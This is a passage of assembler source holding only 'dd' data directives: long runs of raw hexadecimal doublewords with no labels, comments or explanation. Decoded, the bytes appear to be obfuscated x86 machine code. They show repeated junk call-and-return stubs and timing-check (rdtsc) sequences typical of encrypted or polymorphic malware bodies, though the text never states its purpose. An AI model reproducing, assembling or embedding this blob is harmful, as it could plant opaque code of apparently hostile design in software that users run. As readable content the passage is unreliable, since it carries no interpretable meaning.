		dd 6, 32F5BD8Bh, 0C18B06A9h, 33699589h,	0E8C106A9h, 4820F04h
		dd 66000000h, 60A963BFh, 7E9h, 5EBB400h, 3929B19Dh, 26DD9D89h
		dd 666106A9h, 0D380E2F7h, 8BC82B3Dh, 0A904C1BDh, 0E9D18B06h
		dd 2, 858BDA8Ah, 6A93491h, 11E9h, 0E3F1FC00h, 9BFE55FDh
		dd 93B41A74h, 796C5C57h, 0C083FF4Dh, 835B5107h,	0BD8B00C0h
		dd 6A92D61h, 830FD03Bh,	20h, 6DD3DB81h,	4EE91BF4h, 0E8000000h
		dd 9, 0CDEAAF03h, 58B5E0A3h, 219D8B03h,	5B06A923h, 16798D8Bh
		dd 0BD2906A9h, 6A90559h, 0F01E183h, 2484h, 9DB58900h, 8306A928h
		dd 0A91679A5h, 0BD09FE06h, 6A92D55h, 34919589h,	958906A9h
		dd 6A90D2Dh, 0E9h, 0BCB58D00h, 6A06ACDAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8691C350h
		dd 4A9CDC5Dh, 0F442A1Ah, 11E8DBBFh, 3B000000h, 123CAB9h
		dd 5AFE47Bh, 0A39E46A9h, 2E2DFDABh, 0FD1BD8Bh, 6A5B06A9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 14E973h,	40170000h, 4F748EDBh, 75BDF2E8h
		dd 3A9AB52Ah, 0DFED5A6Eh, 95FF3AA3h, 6A92D95h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0A0C35343h, 0BD0160B7h
		dd 6A90C41h, 26D8D89h, 0B96106A9h, 7DAh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 99C35141h, 0ED9D33DEh
		dd 8306A92Ch, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0DBFA0BC3h, 181AD098h, 0A3B1BF66h
		dd 53006AFCh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0C02BD441h, 0DE9h, 445E800h, 43AD9E68h
		dd 8E7539DFh, 0D22B14EEh, 0DBD8B53h, 5F06A911h,	0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 11B59D29h, 6A06A9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5665C7C3h
		dd 2CC42E64h, 958925B9h, 6A90851h, 880Dh, 0AD9D8B00h, 8B06A92Dh
		dd 0A916CD95h, 0F8BF0F06h, 0CE58D8Bh, 0CAB706A9h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 55EDC8C3h
		dd 88082B2Eh, 800F786Eh, 6, 2529BD03h, 6A06A9h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8908BEC3h, 0A928118Dh, 0CF816606h, 0BD8300C7h, 6A933C9h
		dd 71840F00h, 0E9000000h, 8, 0D6A17694h, 8DAB538Fh, 0B8h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 9EF59E80h, 0BF66F150h, 8D8DE525h, 6A94DC0h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 4FC35343h
		dd 0B531A9A2h, 6A911D1h, 8241D381h, 0E1FF2DCEh,	6D8D8956h
		dd 5F06A904h, 11CDBD83h, 0F0006A9h, 50484h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0C715D734h, 9E960h, 797B0000h, 91DAF572h, 57D18554h
		dd 9D8B615Eh, 6A933BDh,	11CDBD83h, 0F0106A9h, 4DB84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0A2BF66C3h, 0CDBD8370h, 306A911h, 478860Fh, 29600000h
		dd 0A925C19Dh, 0D98C6606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 95C35545h, 0B7BDB954h, 6D9D8B46h, 2906A923h
		dd 0A91C9D95h, 4E18006h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 2CC35747h, 840FC90Ah,	153h, 14E9h, 233E3300h
		dd 9BB7D5D5h, 8B93689Fh, 87F4FD10h, 43B88812h, 19858BF8h
		dd 6A06A906h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 7F92C357h, 950189D5h, 6A902BDh
		dd 31F98533h, 816606A9h, 5051F5CBh, 0D975BB66h,	6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 900AC356h, 29771B95h, 0E9D9BFB7h,	0Ah, 8AE43885h
		dd 0C8AB1049h, 6AAE72h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 30C35646h, 8B6022D0h,	0A9022595h, 61E4B006h
		dd 0AE8h, 83995E00h, 0D275D543h, 31BA0C54h, 0A9284D8Dh
		dd 2C685F06h, 606BE414h, 0AE8h,	0FC345600h, 0A27B9719h
		dd 5A6B11DDh, 0F525060h, 8B585A31h, 816161C6h, 17D32434h
		dd 6A6BFBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0CE2B34C3h, 0F8D06D1Ch, 357995FFh, 0BD8906A9h
		dd 6A90EC9h, 0ADF28589h, 6A06ACh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 638B34C3h, 552FCB29h
		dd 0FBAF8E8h, 0E5E9F9B7h, 8B000001h, 0ACADEA85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 8FDE3538h, 21BBA5CBh, 19BD8B97h, 0C706A901h,	1800h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 8B8B4198h, 0ACADEEB5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 7617B559h, 0EA95A952h, 8166809Bh, 8BA724C7h,	0A932BD85h
		dd 5810F06h, 66000000h,	6EB4CF81h, 1830Fh, 89F80000h, 10E906h
		dd 0A8320000h, 91FB8687h, 0BB62790Bh, 0EC987754h, 858BC667h
		dd 6A90619h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0CDC35545h, 0DE9h, 0AE039500h, 34B445D8h, 8ED4024Ah
		dd 46899ADFh, 8D9D8904h, 6606A91Eh, 962F2DBFh, 0C7C7BF50h
		dd 505F64A2h, 0B2605250h, 880FB9h, 61000000h, 0BB66310Fh
		dd 585ABB41h, 48C0F96h,	56000000h, 0FF5FFD8Ah, 0ACADEAB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0DF8B0F97h, 0BE9h, 0A9CE6E00h, 8E59BA19h
		dd 0F52872CAh, 0E7816652h, 685F6770h, 6615C822h, 7E85257h
		dd 0DD000000h, 56538C51h, 5B5B0F6Ah, 2434815Bh,	660ACBDDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0D7C35646h
		dd 9EC78166h, 0F2858D4Dh, 0F06ACADh, 382h, 0FBBF0F00h
		dd 4810F50h, 66000000h,	896FEDBFh, 6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0F76BB4C3h
		dd 9D8BCC46h, 6A90831h,	357995FFh, 858906A9h, 6A9087Dh
		dd 53006A61h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 9FB1BB15h, 9FD50D2Eh, 95898A22h,	6A92C55h
		dd 11CD85C7h, 306A9h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0C61574C3h, 11E83421h
		dd 91000000h, 0DBC82AF6h, 5606D636h, 0EB5A9487h, 9510B373h
		dd 0EE9h, 0DB0CA300h, 25E15C7Ah, 3AD3B1A7h, 5B9EA90Dh
		dd 8412C381h, 0BD8330F8h, 6ACADF2h, 4F840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0E95EC352h, 49h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 7EC35545h, 0A8EB59D1h, 0F6CEF46h
		dd 8952FAB7h, 0A91F29BDh, 30505F06h, 4400110Ch,	0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 8DBD89C0h, 6A06A91Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 8383C356h, 7E9A42Dh, 34000000h, 6C13D118h
		dd 0BD83C286h, 6A911CDh, 16850F03h, 6A000004h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0BB64C357h, 6687C846h, 0EE9A928h, 14000000h,	90990DAAh
		dd 0C8A7364Ah, 3F1C202Eh, 0BD8B6046h, 6A91E61h,	75CB8166h
		dd 0BD836168h, 6ACADF2h, 0C6840F00h, 6A000003h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0D054C352h, 1B3F4746h, 0DAD2BF51h, 0B5FF75F3h, 6ACADF2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 78C35747h
		dd 0F04E443Ah, 95FF4D8Fh, 6A90B51h, 8860Fh, 9530000h, 0A933A185h
		dd 0B58B5B06h, 6ACADE6h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0B4C35545h, 0EBE7604Eh, 0C675612Eh, 88B0F81h
		dd 0F000000h, 280h, 0C7FB8B00h,	1000106h, 699D8B00h, 9606A90Fh
		dd 9FB35250h, 0AE8310Fh, 0FA000000h, 6104DCE5h,	0AA9417F3h
		dd 0F52508Dh, 5F585A31h, 0F50585Ah, 0B8Dh, 52506000h, 585A310Fh
		dd 61F08B66h, 96BF6696h, 0F2B5FF7Ah, 8B06ACADh,	0A90C399Dh
		dd 0FFFE8A06h, 0A90EC595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0FBA6C3FFh
		dd 0AF920F1h, 6E9CB3Dh,	10000000h, 0ACD05A53h, 0E6B58B74h
		dd 8B06ACADh, 0A933F1BDh, 0BD858B06h, 8906A913h, 0A911E59Dh
		dd 0C4868906h, 80000000h, 958B80C3h, 6A916CDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CFC35646h, 8E969h
		dd 3DB0000h, 0A3677F54h, 9D89DA42h, 6A90079h, 0E904C283h
		dd 0Eh,	512467EAh, 0E2BF3A55h, 0C64A4020h, 5089DBA8h, 0C5BD8B20h
		dd 8D06A932h, 0ACC1C385h, 91BD8906h, 0F906A925h, 0B88689h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 647F5BC3h, 0E3A4E8C1h, 249ACCBFh,	6A006A70h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 891CC355h, 0A9150D85h, 0F2B5FF06h, 8906ACADh
		dd 0A933D585h, 6995FF06h, 0BB06A906h, 2AA7E02Ah, 25619D31h
		dd 0E95006A9h, 7, 0CB8171ECh, 898558C7h, 6A2434h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 75CF19C3h, 8D9797BFh, 0F2B5FF6Bh, 8006ACADh,	95FF80C7h
		dd 6A90C89h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	28C35747h, 0AE7B23A4h, 19BD83A0h, 6A933h, 3B840Fh
		dd 50500000h, 9E952h, 86F90000h, 399396F5h, 0F65B101h
		dd 5AFB8B31h, 24348958h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0D8C35747h, 8B66E84Dh, 0F2B5FFD9h, 6A06ACADh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0D1EBC350h, 0F99D3DBCh, 9E96Dh, 9F410000h
		dd 47E9BDFEh, 0FF02BAE8h, 0A9178595h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 34743D1Dh, 0B0AA398Ah, 0C58D29C0h, 0FF06A902h, 0ACADF2B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 6ADB9C9Bh, 891D2D12h, 0A922A595h, 6195FF06h
		dd 0BB06A92Ah, 0B6406E0h, 16AD8589h, 0BD8306A9h, 6A91E31h
		dd 46840F02h, 3000000h,	0A90901BDh, 11858B06h, 0E906A911h
		dd 5, 0D980D4ACh, 0C6E6h, 13E9h, 0EC547200h, 0BCF7B1A3h
		dd 69835F6Bh, 5B5768C3h, 28C75B16h, 10E9h, 67A3BA00h, 6BAB2107h
		dd 886B377Ch, 0FA2A381Bh, 0F185C7A4h, 6A902h, 29000000h
		dd 0A932E19Dh, 0F293E906h, 6AFFFFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0BAFB71C3h
		dd 185BD8Bh, 0C18B06A9h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 4BC35242h, 0B5A1C70Ah, 0C389F46Fh, 35858DC8h
		dd 6A06A905h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 33F9C353h, 0A93325BDh,	52505006h
		dd 10E8h, 3A81E00h, 0DB852613h,	53C55F5Dh, 165A4139h, 5B6160C4h
		dd 585A310Fh, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0E964C356h,	0Ch, 0DE0512F2h
		dd 0F0D45C5Fh, 0BE91E4D5h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 395706C3h
		dd 0A5190ABDh, 6A4116D1h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 7441CB3Bh
		dd 896E5D38h, 0A90049B5h, 6B858D06h, 0F06AD71h,	0C083FBBFh
		dd 9E905h, 41310000h, 78233362h, 0E8C31A7Dh, 9,	5CE4CAB0h
		dd 6904A4ABh, 0ED95310Eh, 5B06A90Ch, 48BF6650h,	24048998h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C8C35141h
		dd 24F8523Fh, 26D9589h,	0D88B06A9h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 15C77EC3h
		dd 0BD895137h, 6A914BDh, 0FC006A5Bh, 2EA995FFh,	6A06A9h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 727575C3h, 13E9h, 0B8359A00h, 0F120F9E6h, 7B3A095Fh
		dd 7C9B8627h, 0B1D94547h, 98DE8D8Dh, 9D8B06ACh,	6A90365h
		dd 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h
		dd 245543C3h, 3114984Fh, 0A934E195h, 0E1BF6606h, 0ADBD83C9h
		dd 106A912h, 76850Fh, 8B600000h, 0A90B11B5h, 28B0F06h
		dd 8A000000h, 26A61C5h,	0EE8h, 0ADFD2B00h, 17660C60h, 0F46404F1h
		dd 0BB8C43ECh, 2EC6DEE6h, 860F505Bh, 8,	28F0Fh,	5F510000h
		dd 0F240489h, 689h, 8DBD8B00h, 0FF06A90Ch, 0A9066995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0D91E5A79h, 9A9121BFh, 0DFB70F36h, 0F14E9h
		dd 0E800h, 815D0000h, 0AD7175EDh, 0FDF8B06h, 6ADBBFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 21E3F5C3h, 0E2B44B2Fh, 5B858D37h, 8906AC8Ah,	0A92A399Dh
		dd 0DE8A5006h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0B013C355h,	61CC6673h
		dd 558D8B60h, 8906A921h, 0A915EDB5h, 9D0B6106h,	6A90C09h
		dd 35FF64h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0DB53C352h,	5E9h, 70D1D700h
		dd 8964A1E6h, 25h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0F88B6624h, 170D85FFh
		dd 6A06A9h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 827802C3h, 10E974F8h, 0F3000000h,	3BB7F581h
		dd 2A9CBC7Ah, 0EFE802D6h, 6AB4735Eh, 53006AFFh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 74762138h
		dd 0FF38B877h, 0A911C1B5h, 71BB6606h, 0DD95FF7Dh, 0E906A934h
		dd 181h, 1D418509h, 0B006A9h, 0E6D9B70Fh, 9E870h, 3D330000h
		dd 170BD73Ah, 0F93237Ch, 0E89h,	9E900h,	0A3DD0000h, 0AD353130h
		dd 5F7A9168h, 0E96071E4h, 5, 2FA7A37Ah,	0ED958BF1h, 6106A927h
		dd 830F613Ch, 135h, 60DABF0Fh, 8BBAD580h, 0A904E595h, 0B60F6106h
		dd 1BD8BC8h, 0BA06A911h, 6, 0CE8h, 3A7EF000h, 823E300Ah
		dd 7A7B8F0Eh, 5FFB8BFCh, 0E8C1C18Bh, 5BD8B04h, 6606A923h
		dd 13E9E2F7h, 0F9000000h, 72BD3148h, 579B2F71h,	12E2B1F4h
		dd 8C395415h, 0C82BB93Bh, 5B58501h, 0D18B06A9h,	0F0B70F60h
		dd 8E861h, 85BF0000h, 0DB989C6Ah, 9D032466h, 6A911DDh
		dd 5E95Bh, 0EBBB0000h, 8B4ACAA1h, 0A90D5185h, 0BE906h
		dd 26060000h, 54223952h, 8BCD429Ch, 3890FFAh, 66000000h
		dd 0C083D98Bh, 4D950107h, 2906A933h, 0A901218Dh, 0C08306h
		dd 13E8h, 807FD700h, 1A8F279Ah,	3495DB3Dh, 2D523235h, 63E9B15Dh
		dd 3B5B5F52h, 13830FD0h, 89000000h, 0A92685B5h,	0E3816606h
		dd 4EE9CEE4h, 0F000000h, 8D8BD8B7h, 6A922B1h, 7E8h, 61018900h
		dd 0D5397F06h, 2D559589h, 835F06A9h, 840F01E1h,	29h, 8830Fh
		dd 29600000h, 0A93411BDh, 0A5836106h, 6A922B1h,	0FAB70FFEh
		dd 0D519589h, 8D0906A9h, 6A9318Dh, 0E9h, 6AB58D00h, 6A06ACE5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0BFD2C350h, 55A29A3Ch, 21E59D8Bh,	6A06A9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7BC35545h
		dd 277EA77Ch, 60FD8353h, 2571B589h, 870F06A9h, 0
		dd 9595FF61h, 8906A92Dh, 0A904518Dh, 7B3B906h, 0DB810000h
		dd 1E3061C5h, 21858D89h, 0E18306A9h, 52006AFCh,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0C0C7033Ch
		dd 5E05927Dh, 0D88A6009h, 0BB61C88Bh, 19EC4A9Eh, 53006AFCh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0FAB70FDCh, 5E1BD8Bh, 0E86006A9h, 9,	0BBC9F42Fh, 0CDF2D875h
		dd 5B61603Bh, 61D3BF0Fh, 6AC02Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 290724C3h, 0A92DB1B5h
		dd 0FD22B06h, 681h, 0B1BD8B00h,	0AD06A934h, 0E8D1C233h
		dd 0E983D003h, 89F47504h, 0A92579BDh, 8B665306h, 6A5FD8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 69AD5CC3h, 13E98B45h, 8A000000h, 876DFD6Bh, 0C0B275B5h
		dd 9AAB8A7Eh, 0C1493D50h, 0BD31319Bh, 6A90169h,	880Dh
		dd 0EB815200h, 49D4F87Eh, 0CD958B5Fh, 0F06A916h, 8D8BDABFh
		dd 6A90CE5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	9DC35343h, 5924EF4Eh, 348EDB81h, 8B502B24h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 6AFA8B66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 4DFCC356h, 0E9B58964h, 8306A929h, 0A933C9BDh, 840F0006h
		dd 3Ch,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h
		dd 44C35343h, 0B899B32Bh, 0
		dd 0C08D8DFCh, 8B06A94Dh, 0E9E1FFF9h, 8, 9D2FE3DBh, 0B45870A3h
		dd 11CDBD83h, 0F0006A9h, 4FA84h, 0E19D2900h, 0F06A912h
		dd 1580h, 10E900h, 0C4030000h, 4F987063h, 1FC84E4Ch, 0EDF0BCAEh
		dd 0BD83920Dh, 6A911CDh, 0E7840F01h, 8A000004h,	0CDBD83DCh
		dd 306A911h, 4A2860Fh, 0F500000h, 688h,	65958900h, 5B06A928h
		dd 55006A60h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0C8FDBC11h, 0D98C6664h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 69C35747h, 0D7816645h, 0E180B677h
		dd 0D5950904h, 0A06A91Eh, 5B840FC9h, 6A000001h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0F8BC353h, 0FDBD8981h, 0BB06A902h, 2C8914C8h, 12E9h
		dd 1974F000h, 9FEBC69Fh, 0DB0B6BF8h, 75AA4C6Bh,	8B754031h
		dd 0A9061985h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 41E1F78h, 0D0372B4Bh
		dd 0AE9h, 911EE200h, 9A11AA50h,	0FD4B05Eh, 9529DABFh, 6A91A91h
		dd 31F98533h, 0C78106A9h, 5231113Bh, 50F98B66h,	7802BB66h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 19C7C351h, 8D9D8BF8h, 6A06A90Ch
		dd 559D8B00h, 8A06A905h, 258468D8h, 0DE94806h, 2E000000h
		dd 3A0E8760h, 35747CBAh, 0DB1B7972h, 7B243481h,	66481926h
		dd 0E9181ABBh, 5, 0F9A80405h, 7995FF42h, 6A06A935h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0EC4FC351h, 0A98C07CCh, 518D29DFh, 8906A906h, 0ACADF285h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 5306CD9Fh, 0DFBF0F70h, 265E9h, 84BE6000h
		dd 36A0DFBh, 0A90E919Dh, 858B6106h, 6ACADEAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0A3C35141h, 0F7CB81D0h
		dd 0C774C1FEh, 1800h, 0D99D0B00h, 8B06A920h, 0ACADEEB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 751C645h, 9D8A60FBh, 5800FD0h, 0BF000000h
		dd 71CA731Dh, 32BD858Bh, 6A06A9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 74CE53C3h, 4E0BD00Fh
		dd 0D9B58960h, 5306A916h, 9E9h,	49077F00h, 1B426A6Bh, 6158AF4Ah
		dd 89DE8B66h, 7614BB06h, 858B3FF6h, 6A90619h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 64C35141h, 42A54081h
		dd 14E9BCh, 0C0E20000h,	0F627EBCEh, 28E7C7F0h, 27843010h
		dd 0DABE4B49h, 4689400Ch, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 822A10C2h
		dd 0C7AC91C2h, 8166C563h, 89945AF7h, 0A90E0185h, 7E95006h
		dd 6F000000h, 81CE76EBh, 3489E48Ah, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 8217A159h
		dd 158E0Fh, 8D0F0000h, 0Fh, 0AE9h, 439E6600h, 610537C6h
		dd 0FF94BBA2h, 0ACADEAB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0FE1076E5h
		dd 66881128h, 78ECDB81h, 4E8h, 1F03FF00h, 11E85000h, 0D2000000h
		dd 0A6FE6645h, 5603BD08h, 0CFD3B4DAh, 8794328Fh, 7C72BB66h
		dd 24448B5Bh, 66008B04h, 4489F88Bh, 52500424h, 61605250h
		dd 585A310Fh, 86B7310Fh, 6A58585Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 50D2C353h
		dd 0C8BFA025h, 7430BB66h, 0ADF2858Dh, 860F06ACh, 6, 3245B589h
		dd 669006A9h, 0F50DE8Bh, 280h, 9032B300h, 1F59BD89h, 95FF06A9h
		dd 6A93579h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	41C35343h, 8B53F739h, 0A929B5BDh, 6A615F06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 1B13C353h, 0EAF07C5h, 0F5B27892h, 0C7DE8B66h, 0A911CD85h
		dd 306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0C705BF5Dh, 0BD836E33h, 6ACADF2h
		dd 29840F00h, 0BF000000h, 6E64CF4Dh, 3AE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0D9BF0F7Eh, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 89C08B00h, 0A913A585h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 94D1930Eh, 0F8BEA73Ch, 11CDBD83h, 0F0306A9h,	46A85h
		dd 10BB6600h, 0F2BD8374h, 6ACADh, 459840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0C915D9C3h, 0F9F3B3Ah, 118Ch, 0B840F00h, 0E8000000h
		dd 5, 0A1BE8043h, 0B5FF5F0Eh, 6ACADF2h,	0FB8B6651h, 5195FF5Fh
		dd 6006A90Bh, 259ACF81h, 0C38B4800h, 7E961h, 0F2110000h
		dd 0C835AA8Ch, 0E6B58B2Ch, 8B06ACADh, 0A925119Dh, 4F83BB06h
		dd 6C72DAEh, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0A3C35343h, 483859ACh, 0F9EE9686h, 5668BB66h
		dd 86BB6696h, 0E960506Eh, 5, 698DE341h,	89966165h, 0A910B9BDh
		dd 0F2B5FF06h, 6606ACADh, 5376DB81h, 31798D89h,	95FF06A9h
		dd 6A90EC5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0F7C35646h, 40253057h, 0ADE6B58Bh, 6A06ACh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 94DE38C3h, 660BE5C3h, 0C1A3C781h, 14D1BD8Bh,	858B06A9h
		dd 6A913BDh, 4ED78152h,	5B26FB1Fh, 0C48689h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 313C3EC3h, 7075E3E9h, 34A1BD8Bh, 958B06A9h, 6A916CDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1DC35343h
		dd 5EA833A1h, 0BD8B3B76h, 6A928C5h, 0BBFFBF0Fh,	3F1D2141h
		dd 6A04C283h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0B4E0C353h, 205089A1h,	3411BD09h
		dd 2CBB06A9h, 8D3632EAh, 0ACC1C385h, 89DF8B06h,	0B886h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
